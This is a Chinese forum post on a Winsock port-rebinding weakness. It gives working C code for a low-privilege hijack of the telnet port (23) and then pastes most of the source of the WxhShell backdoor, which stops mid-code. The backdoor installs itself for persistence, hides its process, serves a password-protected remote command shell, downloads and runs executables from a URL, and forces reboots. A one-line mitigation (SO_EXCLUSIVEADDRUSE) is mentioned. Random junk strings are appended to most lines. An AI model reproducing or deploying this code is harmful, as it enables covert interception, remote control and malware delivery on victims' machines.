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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: daf-B-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @}%kSn5y:  
"`pg+t&  
  saddr.sin_family = AF_INET; zR=g<e1xe  
bDegIW/'w  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); O`~L*h_  
S!iDPl~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); c(3c|n  
rdX;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o 7V&HJ[  
;>]dwsA*P  
  这意味着什么?意味着可以进行如下的攻击: Z ]OX6G  
0h('@Hb.K#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lZ,$lZg9Z  
u b@'(*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %7Gq#rq  
CF+:v(NL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X`]>J5  
tg~7^(s  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )_ l( WF.  
'E\qqE[;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 eW_EWVH  
nxuR^6 Ai  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H_l>L9/\  
E_xk8X~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5YiBPB")  
OJ7y  
  #include ?xE'i[F @  
  #include 2T"[$iH!7  
  #include XpT})AV  
  #include    `KP}pi\  
  DWORD WINAPI ClientThread(LPVOID lpParam);    sJ_3tjs)  
  int main() n8&x=Z}Xs  
  { ~}G#ys\1  
  WORD wVersionRequested; s6oIj$  
  DWORD ret; 368H6 Jj  
  WSADATA wsaData; Bf,}mCq  
  BOOL val; gdqED}v  
  SOCKADDR_IN saddr; t.7_7`bin~  
  SOCKADDR_IN scaddr; $bk_%R}s  
  int err; 52*KRq o  
  SOCKET s; r"lh\C|  
  SOCKET sc; q(5  
  int caddsize; Wk/Il^YG  
  HANDLE mt; h*mKS -TC  
  DWORD tid;   z9zo5Xc=  
  wVersionRequested = MAKEWORD( 2, 2 ); 49B6|!&I  
  err = WSAStartup( wVersionRequested, &wsaData ); tkdyR1-  
  if ( err != 0 ) { uF T5Z  
  printf("error!WSAStartup failed!\n"); %bhFl,tL  
  return -1; >>>MTV f  
  } W jBtL52  
  saddr.sin_family = AF_INET; ;:Y/"5h  
   :*Z@UY   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8WG_4e  
qh wl  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2\[ Q{T=Qe  
  saddr.sin_port = htons(23); xQzXl  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .zdmUS :  
  { &([yI>%  
  printf("error!socket failed!\n"); \@j3/!=,n%  
  return -1; 'G3|PA7v  
  } X'cm0}2  
  val = TRUE; p?+;[!:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }An;)!>(nF  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]8XIw`:f  
  { I8:G:s:  
  printf("error!setsockopt failed!\n"); 'i8?]` T  
  return -1; V}t8H  
  } J2$ =H1-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $K!6T  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3WY:Fn+#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R #m1Aa  
FHZQyO<|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <Ow+LJWQK  
  { h &IF ?h  
  ret=GetLastError(); 9!vimu)  
  printf("error!bind failed!\n"); #r80FVwiD  
  return -1; G4,BcCPQ  
  } `AELe_  
  listen(s,2); ?Q}3X-xy  
  while(1) M_F4I$V4  
  { DOW Z hD  
  caddsize = sizeof(scaddr); T;B/ Wm!x  
  //接受连接请求 :J6FI6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l65Qk2<YC  
  if(sc!=INVALID_SOCKET) t? _{  
  { `qr.@0whP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); lJBZ0  
  if(mt==NULL) iSj.lW  
  { KU;m.{  
  printf("Thread Creat Failed!\n"); unkA%x{W;  
  break; X0%BE!  
  } Z-z(SKL  
  } vXc gl  
  CloseHandle(mt); 4ak} "Z  
  } @-}!o&G0  
  closesocket(s); Z+! 96LR  
  WSACleanup(); q3Y49d  
  return 0; _1HEGX\  
  }   uGS^*W$  
  DWORD WINAPI ClientThread(LPVOID lpParam) >qynd'eToR  
  { ;?!pcvUi  
  SOCKET ss = (SOCKET)lpParam; vjXCArS  
  SOCKET sc; C<iOa)_@Q  
  unsigned char buf[4096]; { :_qa|  
  SOCKADDR_IN saddr; C~VyM1inD  
  long num; W:=CpbwENX  
  DWORD val; ZY> u4v.  
  DWORD ret; [$%0[;jtS  
  //如果是隐藏端口应用的话,可以在此处加一些判断  2dBjc{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ZZF\;  
  saddr.sin_family = AF_INET; 0Ewt >~n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~Uaz;<"j0  
  saddr.sin_port = htons(23); t)*A#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *Ja,3Qq  
  { 0'tm.,  
  printf("error!socket failed!\n"); n(el  
  return -1; /pnQKy.  
  } zH?&FtO  
  val = 100; ,DWC=:@X  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fm^)u"  
  { 38(|a5  
  ret = GetLastError(); JWs?az  
  return -1; W|[k]A` 2  
  } sh8(+hg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T1~,.(#  
  { .FAuM~_99b  
  ret = GetLastError(); }=^Al;W  
  return -1; {:d9q  
  } DYvg^b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4xNzhnp|  
  { 1`8(O >5  
  printf("error!socket connect failed!\n"); oq}Q2[.b  
  closesocket(sc); z[ N_3n  
  closesocket(ss); ZE>!]# ,  
  return -1; wKs-<b%;  
  } {V9}W<  
  while(1) (Qys`D   
  { }X*.Vv A  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Qz?r4kR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4'-GcH  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 VNLggeX'U  
  num = recv(ss,buf,4096,0); n`)wD~mk  
  if(num>0) h^6Yjy  
  send(sc,buf,num,0); 2VNfnk  
  else if(num==0) 66~]7w  
  break; Dhe ]f#d  
  num = recv(sc,buf,4096,0); Lg4I6 G  
  if(num>0) BHBMMjY5  
  send(ss,buf,num,0); Z ]WA-Q6n  
  else if(num==0) 9ApGn!`  
  break; 8q& *tpE  
  } C]+T5W\"<B  
  closesocket(ss); yD9<-B<)  
  closesocket(sc); ZIrJ"*QO=  
  return 0 ; A?sU[b6_  
  } PNMf5'@m  
n/]$k4h  
Yl6\}_h`  
========================================================== g$ oe00b  
)z#M_[zC>  
下边附上一个代码,,WXhSHELL uua1_# a  
*!y.!v*  
========================================================== ,o)U9 <  
Q-GnNT7MB3  
#include "stdafx.h" b,#E.%SLw  
p;rG aLo:u  
#include <stdio.h> {1ic* cZS  
#include <string.h> +vtI1LC;_  
#include <windows.h> p@7[w@B\c  
#include <winsock2.h> UPkD^D,  
#include <winsvc.h> D;0xROW8{  
#include <urlmon.h> :{v:sK  
1$Pn;jg:  
#pragma comment (lib, "Ws2_32.lib") h8!;RN[  
#pragma comment (lib, "urlmon.lib") H-,RzL/  
){oVVLs  
#define MAX_USER   100 // 最大客户端连接数 Uwqm?]  
#define BUF_SOCK   200 // sock buffer a/wkc*}}/  
#define KEY_BUFF   255 // 输入 buffer h}U\2$5  
xBC:%kG~#  
#define REBOOT     0   // 重启 6uijxia  
#define SHUTDOWN   1   // 关机 pMX#!wb  
z<F.0~)jb  
#define DEF_PORT   5000 // 监听端口 afMIqQ?  
JDzk v%E^  
#define REG_LEN     16   // 注册表键长度 XHlx89v7  
#define SVC_LEN     80   // NT服务名长度 +$+'|w  
oGLSk (T&I  
// 从dll定义API RZ[r XV5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )ccd fSe  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1Bz'$u;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FT* o;&_QS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F W# S.<  
:oH"  
// wxhshell配置信息 Z<#beT6  
struct WSCFG { .#b!#   
  int ws_port;         // 监听端口 O$%C(n(  
  char ws_passstr[REG_LEN]; // 口令 x6ig,N~AO  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~4mgYzOmD`  
  char ws_regname[REG_LEN]; // 注册表键名 .#;;pu7W  
  char ws_svcname[REG_LEN]; // 服务名 fx QN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?7cF_Zvve  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j}?O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }>:x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D>O{>;y[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uv2!][  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S{NfU/: dL  
w%1B_PyDg  
}; X~Li`  
pAV}hB  
// default Wxhshell configuration T@]vjXd![  
struct WSCFG wscfg={DEF_PORT, iD|"}}01  
    "xuhuanlingzhe", ,diV;d  
    1, yoj5XBM  
    "Wxhshell", r^?%N3  
    "Wxhshell", >Tld:  
            "WxhShell Service", iw(\]tMt  
    "Wrsky Windows CmdShell Service", V\kf6E  
    "Please Input Your Password: ", qb ^4G  
  1, ]*^mT&$7  
  "http://www.wrsky.com/wxhshell.exe", 5|-(Ic  
  "Wxhshell.exe" G2kr~FG  
    }; $2^V#GWo  
*Df|D/,WE  
// 消息定义模块 (0qdU;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i)0*J?l=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O4&/g-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  IjDG  
char *msg_ws_ext="\n\rExit."; ~`{HWmah  
char *msg_ws_end="\n\rQuit."; fwIZr~l  
char *msg_ws_boot="\n\rReboot..."; U3^T.i"R  
char *msg_ws_poff="\n\rShutdown..."; +MQf2|--  
char *msg_ws_down="\n\rSave to "; A;h0BQm/j  
I,AI$A  
char *msg_ws_err="\n\rErr!"; UJ)\E ^Hp  
char *msg_ws_ok="\n\rOK!"; t9PS5O ;  
%+G/oF |  
char ExeFile[MAX_PATH]; hSD)|  
int nUser = 0; /s=TLPm  
HANDLE handles[MAX_USER]; #4''Cs  
int OsIsNt; cJm!3X  
XTyn[n  
SERVICE_STATUS       serviceStatus; 8*)zoT*A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (G"b)"Qum  
2&]UFg:8Q  
// 函数声明 EG0NikT?  
int Install(void); Gr#p QE2;  
int Uninstall(void); Us YH#?|O  
int DownloadFile(char *sURL, SOCKET wsh); ^G# =>&,  
int Boot(int flag); %.b)%=  
void HideProc(void); 3u7E?*{sH  
int GetOsVer(void);  ?S0VtHQ  
int Wxhshell(SOCKET wsl); ;=6 ++Oq  
void TalkWithClient(void *cs); 8@/]ki `>  
int CmdShell(SOCKET sock); "31GC7  
int StartFromService(void); }qW%=;!  
int StartWxhshell(LPSTR lpCmdLine); jo<[|ZD  
9\Mesf1$o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iYv6B6o/99  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P7 E}^y`e  
5gV8=Ml"V  
// 数据结构和表定义 ag?@5q3J}  
SERVICE_TABLE_ENTRY DispatchTable[] = 5\f*xY  
{ qB7.LR*'  
{wscfg.ws_svcname, NTServiceMain}, P,~a'_w:|D  
{NULL, NULL} qEf )TW(  
}; ~/\;7E{8!  
m{x!uq  
// 自我安装 uwWfL32  
int Install(void) mb?DnP,z  
{ i2$U##-ro]  
  char svExeFile[MAX_PATH]; d Z"bc]z{  
  HKEY key; )u ]<8  
  strcpy(svExeFile,ExeFile); Tc\^=e^N?  
S_6`.@B}  
// 如果是win9x系统,修改注册表设为自启动 G+'MTC_  
if(!OsIsNt) { $K,rVTU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $&k2m^R<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E[htNin.B~  
  RegCloseKey(key); XT= #+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PKfxL}:"8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =o_d2 Ak  
  RegCloseKey(key); =YZp,{T  
  return 0; Sd^e!? bp  
    } PQvq$|q  
  } 3VA8K@QiRm  
} [gzw<b:`  
else { ;myu8B7&  
&N*S   
// 如果是NT以上系统,安装为系统服务 0wZLkU_(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {*t'h?b  
if (schSCManager!=0) Fm,A<+l@u  
{ xwT"Q=|kW  
  SC_HANDLE schService = CreateService }PyAmh$@  
  ( >}O1lsjW:z  
  schSCManager, aiw~4ix  
  wscfg.ws_svcname, nf /iZ &  
  wscfg.ws_svcdisp, J`}/+WN7  
  SERVICE_ALL_ACCESS, 68)z`JI|<)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @'R4zJ&+S  
  SERVICE_AUTO_START, Y: KB"H  
  SERVICE_ERROR_NORMAL, \E?1bc{\f  
  svExeFile, < 5[wP)K@  
  NULL, MJV&%E6{:{  
  NULL, 7x-k-F3  
  NULL, c 2?(.UV  
  NULL, 52l|  
  NULL xYM/{[  
  ); ^lRXc.c z  
  if (schService!=0) A~I}[O~(pb  
  { %r6~5_A  
  CloseServiceHandle(schService); 1oj7R7  
  CloseServiceHandle(schSCManager); WU#bA|Cf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j^iH[pN] \  
  strcat(svExeFile,wscfg.ws_svcname); L\_8}\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +#1WOQfAD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PM=I  
  RegCloseKey(key); SP HeI@i  
  return 0; @/anJrt  
    } 3'u%[bx E  
  } x gaN0!  
  CloseServiceHandle(schSCManager); !pw%l4]/t  
} f>ED  
} yW|yZ(7  
 U@m<  
return 1; \~jt7 Q  
} v]U[7 j  
>0@X^o  
// 自我卸载 "H%TOk7l  
int Uninstall(void) t ~U&a9&Z  
{ fn#b3ee  
  HKEY key; "Oh-`C  
$CL=M  
if(!OsIsNt) { Yq`r>g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wc~a}0uz  
  RegDeleteValue(key,wscfg.ws_regname); I.y|AQB  
  RegCloseKey(key); e#kPf 'gL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nsw.\(#  
  RegDeleteValue(key,wscfg.ws_regname); 79:x>i=  
  RegCloseKey(key); JZu7Fb]L9  
  return 0; &ks>.l\  
  } a_QO)  
} b4ORDU  
} r^#.yUz  
else { 0 "pm7  
b0LQ$XM>8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0\o0(eHCQz  
if (schSCManager!=0) N[aK#o,  
{ {x2N~1!E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <diI*H<G  
  if (schService!=0) 1#]tCi`  
  { y7d)[d*Mz  
  if(DeleteService(schService)!=0) { te" 8ZmJ  
  CloseServiceHandle(schService); a4g=cs<9}  
  CloseServiceHandle(schSCManager); vWe)cJ  
  return 0; 3iH!;`i  
  } `j4ukOnG  
  CloseServiceHandle(schService); rm3 ~]  
  } JsfbY^wz  
  CloseServiceHandle(schSCManager); ]Z<{ ~  
} s'~_pP  
} K.l?R#G`,F  
z %+?\.oH  
return 1; lOd[8|/  
} N ?V5gi  
^>g+:?x  
// 从指定url下载文件 y<)Lr}gP  
int DownloadFile(char *sURL, SOCKET wsh) JkQ4'$:  
{ a5Xr"-  
  HRESULT hr; ET=q 1t8  
char seps[]= "/"; quGb;)3  
char *token; BR5$;-7W  
char *file; wg!  
char myURL[MAX_PATH]; ;EL!TzL:8  
char myFILE[MAX_PATH]; rU.ew~  
Sm+Ek@Ax  
strcpy(myURL,sURL); lmr {Ib2a  
  token=strtok(myURL,seps); Y&'2/zI6~  
  while(token!=NULL) Q9%N>h9  
  { C/!2q$  
    file=token; ]>R`]U9*O  
  token=strtok(NULL,seps); ^!pagt^  
  } 'f;+*~*L  
.%WbXs  
GetCurrentDirectory(MAX_PATH,myFILE); x0Tb7y`  
strcat(myFILE, "\\"); iKp4@6an  
strcat(myFILE, file); Pb]s+1  
  send(wsh,myFILE,strlen(myFILE),0); N1#*~/sXh  
send(wsh,"...",3,0); <-}6X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wQM(Lm#Q  
  if(hr==S_OK) C+y:<oo)  
return 0; y3;G<9K2c]  
else ix7N q7!N  
return 1; )vuxy  
3.R?=npA  
} 4~G9._  
@zd)]O]xH?  
// 系统电源模块 *e_ /D$SC  
int Boot(int flag) <]CO}r   
{ tQ?? nI2  
  HANDLE hToken; oB_{xu$6|  
  TOKEN_PRIVILEGES tkp; Q6.},o  
\8_&@uLm  
  if(OsIsNt) { L2Gm0 v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *<Qn)Az  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =H!u4  
    tkp.PrivilegeCount = 1; LAMTf"a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g&BF#)7C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Fm [,u  
if(flag==REBOOT) { uERc\TZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]dk~C?H  
  return 0; \:-; {  
} _5.7HEw>/  
else { 1S.nqOfx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $stJ+uh  
  return 0; (q:L_zFj>"  
} mI"|^!L  
  } 6"jq/Pu  
  else { 42# rhgW  
if(flag==REBOOT) { !30Dice  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5p=T*Y  
  return 0; z4{|?0=C  
} Eer rIV  
else { v9M ;W+J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "hs`Y4U  
  return 0; /A <L  
} 2,NQ(c_c$  
} EVRg/ {X  
kCN9`9XI{  
return 1; \!G&:<h  
} @Cw<wrem  
q\mVZyj  
// win9x进程隐藏模块 6\b B#a  
void HideProc(void) 8 b|&  
{ LG&~#x  
uv9cOd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SB eb}LZ  
  if ( hKernel != NULL ) 8LR_K]\  
  { 5&+ qX 2b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kS=OX5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wm8(Ju  
    FreeLibrary(hKernel); P" 3{s+ r  
  } <A"}Krq?  
nuKjp Ap!  
return;  b.C!4^  
} ;uDH&3W  
#Q$9Eq8"[  
// 获取操作系统版本 &#;UKk~)Of  
int GetOsVer(void) MlS<txFPS  
{ (y#8z6\dx  
  OSVERSIONINFO winfo; uF@Q8 7G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P) GBuW  
  GetVersionEx(&winfo); S G]e^%i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0Ba-VY.H  
  return 1; `){*JPl  
  else mv<z%y?Oj  
  return 0; gt'0B-;W  
} i (L;1 `  
I&R4.;LW  
// 客户端句柄模块 ha3 Qx  
int Wxhshell(SOCKET wsl) kF6X?mqgD  
{ X`^9a5<"  
  SOCKET wsh; XP6R$0yN  
  struct sockaddr_in client; ]}KmT"vA  
  DWORD myID; 1 ,[T;pdDd  
[y=k}W}z  
  while(nUser<MAX_USER) .w[]Q;K_[)  
{ 4wBMBCJ;P  
  int nSize=sizeof(client); )Q 6R6xW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +?nW  
  if(wsh==INVALID_SOCKET) return 1;  ] |~],\  
g3Kc? wTC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >JrQS"[u  
if(handles[nUser]==0) (ioi !p  
  closesocket(wsh); ~i6tc d  
else 3H@TvV/;f  
  nUser++; ,j9}VnW)  
  } R;'Pe>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {$O.@#'  
3EF|1B/5  
  return 0; /`}C~  
} M,q'   
}|{yd03 +  
// 关闭 socket xr)kHJ:v  
void CloseIt(SOCKET wsh) A&F@+X6@  
{ +a nNpy  
closesocket(wsh); &7|=8Z[o  
nUser--; 9[6xo!  
ExitThread(0); ?&"cI5-  
} \7*9l%  
f>-OwL($P  
// 客户端请求句柄 D|`[ [  
void TalkWithClient(void *cs) lj'c0k8  
{ " 0K5 /9  
F}2U8O  
  SOCKET wsh=(SOCKET)cs; 5NBc8h7 V  
  char pwd[SVC_LEN]; @6}c\z@AxM  
  char cmd[KEY_BUFF]; 0@^YxU[YN  
char chr[1]; kM]?  
int i,j; XvZg!<*OH  
Q5{i#F7nJm  
  while (nUser < MAX_USER) { 4+'yJ9~,B  
{u3^#kF  
if(wscfg.ws_passstr) { :}e*3={4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T~=NY,n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2vu"PeU9  
  //ZeroMemory(pwd,KEY_BUFF); .2[>SI  
      i=0; `!>zYcmT  
  while(i<SVC_LEN) { :=UeYm @  
>L?/Ph%d  
  // 设置超时 K, ?M5n '  
  fd_set FdRead; mY#[D; mUe  
  struct timeval TimeOut; e=1&mO?  
  FD_ZERO(&FdRead); jO<K0c c  
  FD_SET(wsh,&FdRead); BLuILE:$  
  TimeOut.tv_sec=8; s1:UCv-%  
  TimeOut.tv_usec=0; !T6oD]x3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {cq; SH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :$dGcX}  
1LT)%_d@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tiI>iP`!  
  pwd=chr[0]; FzA_-d/_dg  
  if(chr[0]==0xd || chr[0]==0xa) { j#3}nJB%#i  
  pwd=0; ^HX={(ddK  
  break; >2vl & (  
  } \SA5@.W  
  i++; :7@"EW  
    } OZQhT)nS]  
9@:H9" w  
  // 如果是非法用户,关闭 socket T"dX)~E;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +:mj]`=  
} bX=ht^e [  
eIg ' !8h?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )=[K$>0k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %* vYX0W"  
c^Rz?2x  
while(1) { ^md7ezXL  
@X\Sh>H  
  ZeroMemory(cmd,KEY_BUFF); :-ax5,J>q  
z,I7 PY& G  
      // 自动支持客户端 telnet标准   "Yq-s$yBi  
  j=0; 2W$c%~j$2  
  while(j<KEY_BUFF) { -gv@ .#N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !94& Uk(O  
  cmd[j]=chr[0]; D8paIp  
  if(chr[0]==0xa || chr[0]==0xd) { V-O49  
  cmd[j]=0; 'nBJ[$2^  
  break; Cdot l$'  
  } D0us<9q  
  j++;  ^qy$M>  
    } M!;H3*  
1Jd82N\'  
  // 下载文件  Pb+oV  
  if(strstr(cmd,"http://")) { "7l p|0I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); * j:  
  if(DownloadFile(cmd,wsh))  &5O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Czid"Ih-  
  else T5Sa9\`>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [/6$P[  
  } k_-=:(Z  
  else { 3@XCP-`  
9kH~+  
    switch(cmd[0]) { 7.hVbjy'-  
  S%kE<M?  
  // 帮助 #HJF==  
  case '?': { ~; Ss)d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aVO5zR./)  
    break; ]J~37 35]  
  } "n7rbh3VW  
  // 安装 OzX\ s=  
  case 'i': { vObP(@0AM  
    if(Install()) j<R,}nmD3\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Op~sR^ez  
    else HC?yodp^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |\XjA4j  
    break; Q`,D#V${D  
    } A\i /@x5#  
  // 卸载 7iLm_#M  
  case 'r': { o-lb/=K+  
    if(Uninstall()) )[~ #j6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \#m;L/D  
    else `(_cR@\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &:S_ewJK7  
    break; Kbg`ZO*  
    } y@nWa\i G  
  // 显示 wxhshell 所在路径 w4:n(.;HK  
  case 'p': { [I4K`>|Z  
    char svExeFile[MAX_PATH]; 4)]g=-3  
    strcpy(svExeFile,"\n\r"); 8rGW G  
      strcat(svExeFile,ExeFile); ^h1VCyoR*  
        send(wsh,svExeFile,strlen(svExeFile),0); #fk)Y1  
    break; / h0-qW  
    } 0{BPT>'  
  // 重启 ^ B=x-G.  
  case 'b': { <{[AG3/Zj4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h<Yn0(.  
    if(Boot(REBOOT)) qaA\.h7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ig")bt3s5  
    else { ]i8K )/  
    closesocket(wsh); >|o-&dk  
    ExitThread(0); Z, lUO.  
    } ":Kn@S'{(  
    break; MPAZ%<gmD  
    } ?\<2*sW [k  
  // 关机 -,TBUWg  
  case 'd': { wTf0O@``6H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UacN'Rat  
    if(Boot(SHUTDOWN)) nxsQDw\hy  
